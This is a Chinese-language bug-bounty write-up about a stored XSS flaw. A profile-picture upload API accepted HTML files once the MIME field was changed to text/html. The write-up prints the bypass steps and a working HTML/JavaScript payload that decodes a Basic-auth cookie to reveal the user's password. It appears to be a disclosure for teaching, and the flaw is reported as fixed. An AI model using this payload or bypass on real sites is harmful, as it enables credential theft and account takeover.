本文中,作者在測試某Web目標站點APP的過程中,通過其中的用戶頭像上傳功能,可以成功上傳並加載HTML文件,進步利用該HTML文件可以形成存儲型XSS攻擊,讀取用戶的密碼信息。我們一起來看看其利用姿勢。

漏洞發現

當我註冊登錄了目標站點APP之後,經過對用戶設置項的檢查後發現,其中存在一個用戶頭像上傳功能,如下:

於是,我就用Burp對該上傳功能進行抓包分析:

請注意,這裏我用到了PATCH請求操作,可見其中的ProfilePicture參數爲一串base64編碼的圖像化字串,另外,之前的ProfilePictureMIME參數爲image/png,此處是我測試修改後的截圖。

該請求是一個圖片數據的上傳操作,會對上傳圖像執行一個base64編碼,然後通過JSON形式的結構上傳到相應的API接口中去。我嘗試着把ProfilePictureMIME參數值更改爲text/x-php和application/php後,上傳都被無效處理,但把其更改爲text/html後竟然被允許了,接着,我就隨手寫了個包含alert動作的html文件進行上傳:

<!DOCTYPE html>
<html>
<body>
<h1>Test</h1>
</body>
<script>
alert(1);
</script>
</html>

之後,把該html文件經base64編碼,替換掉原先的ProfilePicture參數值,然後更改ProfilePictureMIME參數值爲text/html,提交上傳。接下來,我在瀏覽器中訪問我的頭像文件,哦,可以成功加載上傳後的html文件!但遺憾的是,測試過程中在這裏我未作截圖。

由於服務器對這種用戶頭像圖片無需任何訪問權限限定,且Web目標站點存儲用戶頭像圖片的鏈接與主站域名相同,如下:

用戶頭像圖片鏈接: https://something.redacted.com/res/img/usermeta//551/USER_7025dffcf32e4097bebe7b530f9f1a5d.png?ts=1584857339

Web目標站點域名: https://something.redacted.com/

Web目標站點登錄鏈接: https://something.redacted.com/login/

也就是說,即使在我當前的登錄賬戶之內,也可以訪問到上述鏈接的其他用戶頭像圖片。由此我想到了一個攻擊場景,即在登錄賬戶之後,看看能否有可利用的Cookie信息,恰巧在其Cookie中發現了一個名爲AUTHH的經base64編碼的參數,後經比對發現,其與Authorization Header首部中的Cookie信息一致。由於該Web應用採用了HTTP Basic Authentication認證,雖然其中的密碼是base64編碼,但經簡單的轉碼後,就是可見的了。

Cookie: AUTHH=QmFzaWMgWm1GclpUcG1ZV3RsY0dGemN3PT0=

所以,我就構造出以下包含讀取用戶密碼信息的HTML文件進行上傳:

<html>
<head>
 <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/js-cookie@rc/dist/js.cookie.min.js"></script>
</head>
<body>
<h1>Password Display by bad5ect0r</h1>
<p>Your username is: < id="uname"></></p>
<p>Your password is: < id="pass"></></p>
</body>
<script>
$(document).ready(function () {
const AUTHH = Cookies.get('AUTHH');
const unb64 = atob(AUTHH);
const basic = unb64.split(' ');
const uname_pass = atob(basic[1]).split(':');
const user = uname_pass[0];
const pass = uname_pass[1];
$('#uname').html(user);
$('#pass').html(pass);
});
</script>
</html>

該HTML文件可以轉碼用戶Cookie中的AUTHH信息,從而明文顯示出用戶名密碼。當然攻擊者也可以在其中內置用戶密碼轉發操作,把獲取到的密碼信息轉發到他們控制的服務端中。該HTML成功加載後的效果如下:

之後我立即向廠商上報了漏洞,他們也及時地進行了修復。我的經驗是:如果在測試上傳功能的時候,無法有效上傳Webshell,那就嘗試上傳一個HTML文件試試。

*參考來源: bad5ect0r ,clouds 編譯整理,轉載請註明來自 FreeBuf.COM

相關文章